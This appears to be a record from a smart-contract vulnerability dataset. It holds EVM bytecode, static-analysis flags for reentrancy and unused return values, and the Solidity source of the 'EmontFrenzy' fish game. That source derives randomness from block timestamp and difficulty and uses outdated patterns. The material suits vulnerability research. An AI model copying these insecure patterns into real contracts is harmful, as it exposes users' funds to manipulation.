3157611d306131fb565b5b604051908082528060200260200182016040528015611d5f5781602001602082028036833780820191505090505b5090503081600081518110611d7757611d766131cc565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611e1957600080fd5b505afa158015611e2d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611e51919061277d565b81600181518110611e6557611e646131cc565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611ecc30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846114c2565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611f30959493929190612e2a565b600060405180830381600087803b158015611f4a57600080fd5b505af1158015611f5e573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b6000808284611f909190612f45565b905083811015611fd5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fcc90612d4f565b60405180910390fd5b8091505092915050565b611fea838383612064565b505050565b6000806000611ffc61222f565b91509150612013818361201a90919063ffffffff16565b9250505090565b600061205c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061228e565b905092915050565b600080600080600080612076876122f1565b9550955095509550955095506120d486600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461235990919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061216985600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f8190919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506121b5816123a3565b6121bf8483612460565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161221c9190612e0f565b60405180910390a3505050505050505050565b60008060006007549050600067016345785d8a0000905061226367016345785d8a000060075461201a90919063ffffffff16565b8210156122815760075467016345785d8a000093509350505061228a565b81819350935050505b9091565b600080831182906122d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122cc9190612ccd565b60405180910390fd5b50600083856122e49190612f9b565b9050809150509392505050565b600080600080600080600080600061230e8a600954600a5461249a565b925092509250600061231e611fef565b905060008060006123318e878787612530565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061239b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611bbb565b905092915050565b60006123ad611fef565b905060006123c482846125b990919063ffffffff16565b905061241881600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f8190919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6124758260075461235990919063ffffffff16565b60078190555061249081600854611f8190919063ffffffff16565b6008819055505050565b6000806000806124c660646124b8888a6125b990919063ffffffff16565b61201a90919063ffffffff16565b905060006124f060646124e2888b6125b990919063ffffffff16565b61201a90919063ffffffff16565b905060006125198261250b858c61235990919063ffffffff16565b61235990919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061254985896125b990919063ffffffff16565b9050600061256086896125b990919063ffffffff16565b9050600061257787896125b990919063ffffffff16565b905060006125a082612592858761235990919063ffffffff16565b61235990919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000808314156125cc576000905061262e565b600082846125da9190612fcc565b90508284826125e99190612f9b565b14612629576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161262090612d6f565b60405180910390fd5b809150505b92915050565b600061264761264284612ec4565b612e9f565b9050808382526020820190508285602086028201111561266a5761266961322f565b5b60005b8581101561269a578161268088826126a4565b84526020840193506020830192505060018101905061266d565b5050509392505050565b6000813590506126b3816134a4565b92915050565b6000815190506126c8816134a4565b92915050565b600082601f8301126126e3576126e261322a565b5b81356126f3848260208601612634565b91505092915050565b60008135905061270b816134bb565b92915050565b600081519050612720816134bb565b92915050565b600081359050612735816134d2565b92915050565b60008151905061274a816134d2565b92915050565b60006020828403121561276657612765613239565b5b6000612774848285016126a4565b91505092915050565b60006020828403121561279357612792613239565b5b60006127a1848285016126b9565b91505092915050565b600080604083850312156127c1576127c0613239565b5b60006127cf858286016126a4565b92505060206127e0858286016126a4565b9150509250929050565b60008060006060848603121561280357612802613239565b5b6000612811868287016126a4565b9350506020612822868287016126a4565b925050604061283386828701612726565b9150509250925092565b6000806040838503121561285457612853613239565b5b6000612862858286016126a4565b925050602061287385828601612726565b9150509250929050565b60006020828403121561289357612892613239565b5b600082013567ffffffffffffffff8111156128b1576128b0613234565b5b6128bd848285016126ce565b91505092915050565b6000602082840312156128dc576128db613239565b5b60006128ea848285016126fc565b91505092915050565b60006020828403121561290957612908613239565b5b600061291784828501612711565b91505092915050565b60006020828403121561293657612935613239565b5b600061294484828501612726565b91505092915050565b60008060006060848603121561296657612965613239565b5b60006129748682870161273b565b93505060206129858682870161273b565b92505060406129968682870161273b565b9150509250925092565b60006129ac83836129b8565b60208301905092915050565b6129c18161305a565b82525050565b6129d08161305a565b82525050565b60006129e182612f00565b6129eb8185612f23565b93506129f683612ef0565b8060005b83811015612a27578151612a0e88826129a0565b9750612a1983612f16565b9250506001810190506129fa565b5085935050505092915050565b612a3d8161306c565b82525050565b612a4c816130af565b82525050565b6000612a5d82612f0b565b612a678185612f34565b9350612a778185602086016130c1565b612a808161323e565b840191505092915050565b6000612a98602383612f34565b9150612aa38261324f565b604082019050919050565b6000612abb602a83612f34565b9150612ac68261329e565b604082019050919050565b6000612ade602283612f34565b9150612ae9826132ed565b604082019050919050565b6000612b01601b83612f34565b9150612b0c8261333c565b602082019050919050565b6000612b24602183612f34565b9150612b2f82613365565b604082019050919050565b6000612b47602083612f34565b9150612b52826133b4565b602082019050919050565b6000612b6a602583612f34565b9150612b75826133dd565b604082019050919050565b6000612b8d602483612f34565b9150612b988261342c565b604082019050919050565b6000612bb0601783612f34565b9150612bbb8261347b565b602082019050919050565b612bcf81613098565b82525050565b612bde816130a2565b82525050565b6000602082019050612bf960008301846129c7565b92915050565b6000604082019050612c1460008301856129c7565b612c2160208301846129c7565b9392505050565b6000604082019050612c3d60008301856129c7565b612c4a6020830184612bc6565b9392505050565b600060c082019050612c6660008301896129c7565b612c736020830188612bc6565b612c806040830187612a43565b612c8d6060830186612a43565b612c9a60808301856129c7565b612ca760a0830184612bc6565b979650505050505050565b6000602082019050612cc76000830184612a34565b92915050565b60006020820190508181036000830152612ce78184612a52565b905092915050565b60006020820190508181036000830152612d0881612a8b565b9050919050565b60006020820190508181036000830152612d2881612aae565b9050919050565b60006020820190508181036000830152612d4881612ad1565b9050919050565b60006020820190508181036000830152612d6881612af4565b9050919050565b60006020820190508181036000830152612d8881612b17565b9050919050565b60006020820190508181036000830152612da881612b3a565b9050919050565b60006020820190508181036000830152612dc881612b5d565b9050919050565b60006020820190508181036000830152612de881612b80565b9050919050565b60006020820190508181036000830152612e0881612ba3565b9050919050565b6000602082019050612e246000830184612bc6565b92915050565b600060a082019050612e3f6000830188612bc6565b612e4c6020830187612a43565b8181036040830152612e5e81866129d6565b9050612e6d60608301856129c7565b612e7a6080830184612bc6565b9695505050505050565b6000602082019050612e996000830184612bd5565b92915050565b6000612ea9612eba565b9050612eb582826130f4565b919050565b6000604051905090565b600067ffffffffffffffff821115612edf57612ede6131fb565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612f5082613098565b9150612f5b83613098565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612f9057612f8f61316e565b5b828201905092915050565b6000612fa682613098565b9150612fb183613098565b925082612fc157612fc061319d565b5b828204905092915050565b6000612fd782613098565b9150612fe283613098565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561301b5761301a61316e565b5b828202905092915050565b600061303182613098565b915061303c83613098565b92508282101561304f5761304e61316e565b5b828203905092915050565b600061306582613078565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006130ba82613098565b9050919050565b60005b838110156130df5780820151818401526020810190506130c4565b838111156130ee576000848401525b50505050565b6130fd8261323e565b810181811067ffffffffffffffff8211171561311c5761311b6131fb565b5b80604052505050565b600061313082613098565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156131635761316261316e565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6134ad8161305a565b81146134b857600080fd5b50565b6134c48161306c565b81146134cf57600080fd5b50565b6134db81613098565b81146134e657600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122051e6b3fbcdb23c2689978f2b9ae71cde97e19f129f0844982caf386f9496f24864736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
3,647
0x635b1194853b58e916f34f4223c81df0e99f4430
pragma solidity ^0.4.19; // copyright contact@emontalliance.com contract BasicAccessControl { address public owner; // address[] public moderators; uint16 public totalModerators = 0; mapping (address => bool) public moderators; bool public isMaintaining = false; function BasicAccessControl() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } modifier onlyModerators() { require(msg.sender == owner || moderators[msg.sender] == true); _; } modifier isActive { require(!isMaintaining); _; } function ChangeOwner(address _newOwner) onlyOwner public { if (_newOwner != address(0)) { owner = _newOwner; } } function AddModerator(address _newModerator) onlyOwner public { if (moderators[_newModerator] == false) { moderators[_newModerator] = true; totalModerators += 1; } } function RemoveModerator(address _oldModerator) onlyOwner public { if (moderators[_oldModerator] == true) { moderators[_oldModerator] = false; totalModerators -= 1; } } function UpdateMaintaining(bool _isMaintaining) onlyOwner public { isMaintaining = _isMaintaining; } } contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); } contract EmontFrenzy is BasicAccessControl { uint constant public HIGH = 20; uint constant public BASE_POS = 510; uint constant public ONE_EMONT = 10 ** 8; struct Fish { address player; uint weight; bool active; // location != 0 } // private uint private seed; // address address public tokenContract; // variable uint public addFee = 0.01 ether; uint public addWeight = 5 * 10 ** 8; // emont uint public moveCharge = 5; // percentage uint public cashOutRate = 100; // to EMONT rate uint public cashInRate = 50; // from EMONT to fish weight uint public width = 50; uint public minJump = 2 * 2; uint public maxPos = HIGH * width; // valid pos (0 -> maxPos - 1) uint public minCashout = 20 * 10 ** 8; uint public minEatable = 1 * 10 ** 8; mapping(uint => Fish) fishMap; mapping(uint => uint) ocean; // pos => fish id mapping(uint => uint) bonus; // pos => emont amount mapping(address => uint) players; mapping(uint => uint) maxJumps; // weight in EMONT => square length uint public totalFish = 0; // event event Transfer(address indexed _from, address indexed _to, uint256 _tokenId); event EventCashout(address indexed player, uint fishId, uint weight); event EventBonus(uint pos, uint value); event EventMove(address indexed player, uint fishId, uint fromPos, uint toPos, uint weight); event EventEat(address indexed player, address indexed defender, uint playerFishId, uint defenderFishId, uint fromPos, uint toPos, uint playerWeight); event EventFight(address indexed player, address indexed defender, uint playerFishId, uint defenderFishId, uint fromPos, uint toPos, uint playerWeight); event EventSuicide(address indexed player, address indexed defender, uint playerFishId, uint defenderFishId, uint fromPos, uint toPos, uint defenderWeight); // modifier modifier requireTokenContract { require(tokenContract != address(0)); _; } function EmontFrenzy(address _tokenContract) public { tokenContract = _tokenContract; seed = getRandom(0); } function setConfig(uint _addFee, uint _addWeight, uint _moveCharge, uint _cashOutRate, uint _cashInRate, uint _width) onlyModerators external { addFee = _addFee; addWeight = _addWeight; moveCharge = _moveCharge; cashOutRate = _cashOutRate; cashInRate = _cashInRate; width = _width; maxPos = HIGH * width; } function setExtraConfig(uint _minCashout, uint _minEatable) onlyModerators external { minCashout = _minCashout; minEatable = _minEatable; } // weight in emont, x*x function updateMaxJump(uint _weight, uint _squareLength) onlyModerators external { maxJumps[_weight] = _squareLength; } function setDefaultMaxJump() onlyModerators external { maxJumps[0] = 50 * 50; maxJumps[1] = 30 * 30; maxJumps[2] = 20 * 20; maxJumps[3] = 15 * 15; maxJumps[4] = 12 * 12; maxJumps[5] = 9 * 9; maxJumps[6] = 7 * 7; maxJumps[7] = 7 * 7; maxJumps[8] = 6 * 6; maxJumps[9] = 6 * 6; maxJumps[10] = 6 * 6; maxJumps[11] = 5 * 5; maxJumps[12] = 5 * 5; maxJumps[13] = 5 * 5; maxJumps[14] = 5 * 5; maxJumps[15] = 4 * 4; maxJumps[16] = 4 * 4; maxJumps[17] = 4 * 4; maxJumps[18] = 4 * 4; maxJumps[19] = 4 * 4; maxJumps[20] = 3 * 3; maxJumps[21] = 3 * 3; maxJumps[22] = 3 * 3; maxJumps[23] = 3 * 3; maxJumps[24] = 3 * 3; maxJumps[25] = 3 * 3; } function updateMinJump(uint _minJump) onlyModerators external { minJump = _minJump; } // moderators function withdrawEther(address _sendTo, uint _amount) onlyModerators external { // no user money is kept in this contract, only trasaction fee if (_amount > address(this).balance) { revert(); } _sendTo.transfer(_amount); } function withdrawToken(address _sendTo, uint _amount) onlyModerators requireTokenContract external { ERC20Interface token = ERC20Interface(tokenContract); if (_amount > token.balanceOf(address(this))) { revert(); } token.transfer(_sendTo, _amount); } function addBonus(uint _pos, uint _amount) onlyModerators external { bonus[_pos] += _amount; EventBonus(_pos, _amount); } // for payment contract to call function AddFishByToken(address _player, uint tokens) onlyModerators external { uint weight = tokens * cashInRate / 100; if (weight != addWeight) revert(); // max: one fish per address if (fishMap[players[_player]].weight > 0) revert(); totalFish += 1; Fish storage fish = fishMap[totalFish]; fish.player = _player; fish.weight = addWeight; fish.active = false; players[_player] = totalFish; seed = getRandom(seed); Transfer(address(0), _player, totalFish); } // public functions function getRandom(uint _seed) constant public returns(uint) { return uint(keccak256(block.timestamp, block.difficulty)) ^ _seed; } function AddFish() isActive payable external { if (msg.value != addFee) revert(); // max: one fish per address if (fishMap[players[msg.sender]].weight > 0) revert(); totalFish += 1; Fish storage fish = fishMap[totalFish]; fish.player = msg.sender; fish.weight = addWeight; fish.active = false; players[msg.sender] = totalFish; seed = getRandom(seed); Transfer(address(0), msg.sender, totalFish); } function DeductABS(uint _a, uint _b) pure public returns(uint) { if (_a > _b) return (_a - _b); return (_b - _a); } function MoveFish(uint _fromPos, uint _toPos) isActive external { // check valid _x, _y if (_toPos >= maxPos && _fromPos != _toPos) revert(); uint fishId = players[msg.sender]; Fish storage fish = fishMap[fishId]; if (fish.weight == 0) revert(); if (!fish.active && _fromPos != BASE_POS) revert(); if (fish.active && ocean[_fromPos] != fishId) revert(); // check valid move uint tempX = DeductABS(_fromPos / HIGH, _toPos / HIGH); uint tempY = DeductABS(_fromPos % HIGH, _toPos % HIGH); uint squareLength = maxJumps[fish.weight / ONE_EMONT]; if (squareLength == 0) squareLength = minJump; if (tempX * tempX + tempY * tempY > squareLength) revert(); // move ocean[_fromPos] = 0; // charge when swiming except from the base if (_fromPos != BASE_POS) { tempX = (moveCharge * fish.weight) / 100; bonus[_fromPos] += tempX; fish.weight -= tempX; } else { fish.active = true; } // go back to base if (_toPos == BASE_POS) { fish.active = false; EventMove(msg.sender, fishId, _fromPos, _toPos, fish.weight); return; } tempX = ocean[_toPos]; // target fish id // no fish at that location if (tempX == 0) { if (bonus[_toPos] > 0) { fish.weight += bonus[_toPos]; bonus[_toPos] = 0; } // update location EventMove(msg.sender, fishId, _fromPos, _toPos, fish.weight); ocean[_toPos] = fishId; } else { // can not attack from the base if (_fromPos == BASE_POS) revert(); Fish storage targetFish = fishMap[tempX]; if (targetFish.weight + minEatable <= fish.weight) { // eat the target fish fish.weight += targetFish.weight; targetFish.weight = 0; // update location ocean[_toPos] = fishId; EventEat(msg.sender, targetFish.player, fishId, tempX, _fromPos, _toPos, fish.weight); Transfer(targetFish.player, address(0), tempX); } else if (targetFish.weight <= fish.weight) { // fight and win // bonus to others seed = getRandom(seed); tempY = seed % (maxPos - 1); if (tempY == BASE_POS) tempY += 1; bonus[tempY] = targetFish.weight * 2; EventBonus(tempY, targetFish.weight * 2); // fight fish.weight -= targetFish.weight; targetFish.weight = 0; // update location if (fish.weight > 0) { ocean[_toPos] = fishId; } else { ocean[_toPos] = 0; Transfer(msg.sender, address(0), fishId); } EventFight(msg.sender, targetFish.player, fishId, tempX, _fromPos, _toPos, fish.weight); Transfer(targetFish.player, address(0), tempX); } else { // bonus to others seed = getRandom(seed); tempY = seed % (maxPos - 1); if (tempY == BASE_POS) tempY += 1; bonus[tempY] = fish.weight * 2; EventBonus(tempY, fish.weight * 2); // suicide targetFish.weight -= fish.weight; fish.weight = 0; EventSuicide(msg.sender, targetFish.player, fishId, tempX, _fromPos, _toPos, targetFish.weight); Transfer(msg.sender, address(0), fishId); } } } function CashOut() isActive external { uint fishId = players[msg.sender]; Fish storage fish = fishMap[fishId]; if (fish.weight < minCashout) revert(); if (fish.weight < addWeight) revert(); uint _amount = fish.weight - addWeight; fish.weight = addWeight; ERC20Interface token = ERC20Interface(tokenContract); if (_amount > token.balanceOf(address(this))) { revert(); } token.transfer(msg.sender, (_amount * cashOutRate) / 100); EventCashout(msg.sender, fishId, fish.weight); } // public get function getFish(uint32 _fishId) constant public returns(address player, uint weight, bool active) { Fish storage fish = fishMap[_fishId]; return (fish.player, fish.weight, fish.active); } function getFishByAddress(address _player) constant public returns(uint fishId, address player, uint weight, bool active) { fishId = players[_player]; Fish storage fish = fishMap[fishId]; player = fish.player; weight =fish.weight; active = fish.active; } function getFishIdByAddress(address _player) constant public returns(uint fishId) { return players[_player]; } function getFishIdByPos(uint _pos) constant public returns(uint fishId) { return ocean[_pos]; } function getFishByPos(uint _pos) constant public returns(uint fishId, address player, uint weight) { fishId = ocean[_pos]; Fish storage fish = fishMap[fishId]; return (fishId, fish.player, fish.weight); } // cell has valid fish or bonus function findTargetCell(uint _fromPos, uint _toPos) constant public returns(uint pos, uint fishId, address player, uint weight) { for (uint index = _fromPos; index <= _toPos; index+=1) { if (ocean[index] > 0) { fishId = ocean[index]; Fish storage fish = fishMap[fishId]; return (index, fishId, fish.player, fish.weight); } if (bonus[index] > 0) { return (index, 0, address(0), bonus[index]); } } } function getStats() constant public returns(uint countFish, uint countBonus) { countFish = 0; countBonus = 0; for (uint index = 0; index < width * HIGH; index++) { if (ocean[index] > 0) { countFish += 1; } else if (bonus[index] > 0) { countBonus += 1; } } } function getFishAtBase(uint _fishId) constant public returns(uint fishId, address player, uint weight) { for (uint id = _fishId; id <= totalFish; id++) { Fish storage fish = fishMap[id]; if (fish.weight > 0 && !fish.active) { return (id, fish.player, fish.weight); } } return (0, address(0), 0); } function getMaxJump(uint _weight) constant public returns(uint) { return maxJumps[_weight]; } // some meta data string public constant name = "EmontFrenzy"; string public constant symbol = "EMONF"; function totalSupply() public view returns (uint256) { return totalFish; } function balanceOf(address _owner) public view returns (uint256 _balance) { if (fishMap[players[_owner]].weight > 0) return 1; return 0; } function ownerOf(uint256 _tokenId) public view returns (address _owner) { Fish storage fish = fishMap[_tokenId]; if (fish.weight > 0) return fish.player; return address(0); } function transfer(address _to, uint256 _tokenId) public{ require(_to != address(0)); uint fishId = players[msg.sender]; Fish storage fish = fishMap[fishId]; if (fishId == 0 || fish.weight == 0 || fishId != _tokenId) revert(); if (balanceOf(_to) > 0) revert(); fish.player = _to; players[msg.sender] = 0; players[_to] = fishId; Transfer(msg.sender, _to, _tokenId); } }
0x606060405260043610610272576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806301239adf1461027757806306fdde03146102a057806314d0f1ba1461032e57806318160ddd1461037f5780632f48f151146103a857806333835161146103d1578063354e10631461042157806345408a8a1461044d57806348ef5aa8146104765780634db77d9d1461049b5780634efb023e146104d25780634fbf6e9f14610503578063503c849e1461057e578063522f6815146105a757806354f60aea146105e957806355a373d61461061257806359b62658146106675780635c7b9ccf146106a957806362b26f95146106d25780636352211e146106fb578063672324ac1461075e5780636c81fd6d146107875780636d07f295146107c057806370a08231146107e9578063754ad9811461083657806378761590146108625780637c17dc02146108e35780638da5cb5b146108ed578063905473cf1461094257806395d89b411461096e5780639b01c7ac146109fc5780639e281a9814610a495780639ededf7714610a8b578063a1e564b114610ab4578063a9059cbb14610ac9578063b02b69d614610b0b578063b60868be14610b37578063b73974a114610ba8578063b85d627514610bd1578063be32eeba14610c0a578063c0b332c114610c41578063c59d484714610c6a578063cd4b691414610c9a578063cf2d03ae14610cd1578063d398806d14610cfa578063d4fa902114610d1d578063ecd747de14610d5d578063ee4e441614610dce578063f285329214610dfb578063f838ea1a14610e34578063f8ecb55814610e49578063fbe3549c14610edb575b600080fd5b341561028257600080fd5b61028a610f04565b6040518082815260200191505060405180910390f35b34156102ab57600080fd5b6102b3610f0a565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156102f35780820151818401526020810190506102d8565b50505050905090810190601f1680156103205780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561033957600080fd5b610365600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610f43565b604051808215151515815260200191505060405180910390f35b341561038a57600080fd5b610392610f63565b6040518082815260200191505060405180910390f35b34156103b357600080fd5b6103bb610f6d565b6040518082815260200191505060405180910390f35b34156103dc57600080fd5b61041f6004808035906020019091908035906020019091908035906020019091908035906020019091908035906020019091908035906020019091905050610f73565b005b341561042c57600080fd5b61044b6004808035906020019091908035906020019091905050611067565b005b341561045857600080fd5b61046061112f565b6040518082815260200191505060405180910390f35b341561048157600080fd5b61049960048080351515906020019091905050611135565b005b34156104a657600080fd5b6104bc60048080359060200190919050506111ad565b6040518082815260200191505060405180910390f35b34156104dd57600080fd5b6104e56111ca565b604051808261ffff1661ffff16815260200191505060405180910390f35b341561050e57600080fd5b61052a600480803563ffffffff169060200190919050506111de565b604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200183815260200182151515158152602001935050505060405180910390f35b341561058957600080fd5b610591611249565b6040518082815260200191505060405180910390f35b34156105b257600080fd5b6105e7600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061124f565b005b34156105f457600080fd5b6105fc61136d565b6040518082815260200191505060405180910390f35b341561061d57600080fd5b610625611375565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561067257600080fd5b6106a7600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061139b565b005b34156106b457600080fd5b6106bc611632565b6040518082815260200191505060405180910390f35b34156106dd57600080fd5b6106e5611638565b6040518082815260200191505060405180910390f35b341561070657600080fd5b61071c600480803590602001909190505061163e565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561076957600080fd5b61077161169a565b6040518082815260200191505060405180910390f35b341561079257600080fd5b6107be600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506116a0565b005b34156107cb57600080fd5b6107d36117e0565b6040518082815260200191505060405180910390f35b34156107f457600080fd5b610820600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506117e6565b6040518082815260200191505060405180910390f35b341561084157600080fd5b6108606004808035906020019091908035906020019091905050611858565b005b341561086d57600080fd5b61088c6004808035906020019091908035906020019091905050612260565b604051808581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200194505050505060405180910390f35b6108eb612351565b005b34156108f857600080fd5b610900612537565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561094d57600080fd5b61096c600480803590602001909190803590602001909190505061255c565b005b341561097957600080fd5b61098161262e565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156109c15780820151818401526020810190506109a6565b50505050905090810190601f1680156109ee5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3415610a0757600080fd5b610a33600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050612667565b6040518082815260200191505060405180910390f35b3415610a5457600080fd5b610a89600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506126b0565b005b3415610a9657600080fd5b610a9e612981565b6040518082815260200191505060405180910390f35b3415610abf57600080fd5b610ac7612987565b005b3415610ad457600080fd5b610b09600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050612c62565b005b3415610b1657600080fd5b610b356004808035906020019091908035906020019091905050612e6d565b005b3415610b4257600080fd5b610b586004808035906020019091905050612f87565b604051808481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828152602001935050505060405180910390f35b3415610bb357600080fd5b610bbb613039565b6040518082815260200191505060405180910390f35b3415610bdc57600080fd5b610c08600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061303e565b005b3415610c1557600080fd5b610c2b600480803590602001909190505061317f565b6040518082815260200191505060405180910390f35b3415610c4c57600080fd5b610c5461319c565b6040518082815260200191505060405180910390f35b3415610c7557600080fd5b610c7d6131a2565b604051808381526020018281526020019250505060405180910390f35b3415610ca557600080fd5b610cbb600480803590602001909190505061321d565b6040518082815260200191505060405180910390f35b3415610cdc57600080fd5b610ce461324a565b6040518082815260200191505060405180910390f35b3415610d0557600080fd5b610d1b6004808035906020019091905050613250565b005b3415610d2857600080fd5b610d476004808035906020019091908035906020019091905050613310565b6040518082815260200191505060405180910390f35b3415610d6857600080fd5b610d7e6004808035906020019091905050613330565b604051808481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828152602001935050505060405180910390f35b3415610dd957600080fd5b610de161339a565b604051808215151515815260200191505060405180910390f35b3415610e0657600080fd5b610e32600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506133ad565b005b3415610e3f57600080fd5b610e47613482565b005b3415610e5457600080fd5b610e80600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506137e0565b604051808581526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018381526020018215151515815260200194505050505060405180910390f35b3415610ee657600080fd5b610eee613889565b6040518082815260200191505060405180910390f35b600c5481565b6040805190810160405280600b81526020017f456d6f6e744672656e7a7900000000000000000000000000000000000000000081525081565b60016020528060005260406000206000915054906101000a900460ff1681565b6000601454905090565b60055481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061101e575060011515600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b151561102957600080fd5b856005819055508460068190555083600781905550826008819055508160098190555080600a81905550600a54601402600c81905550505050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480611112575060011515600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b151561111d57600080fd5b81600d8190555080600e819055505050565b600d5481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561119057600080fd5b80600260006101000a81548160ff02191690831515021790555050565b600060136000838152602001908152602001600020549050919050565b600060149054906101000a900461ffff1681565b600080600080600f60008663ffffffff16815260200190815260200160002090508060000160009054906101000a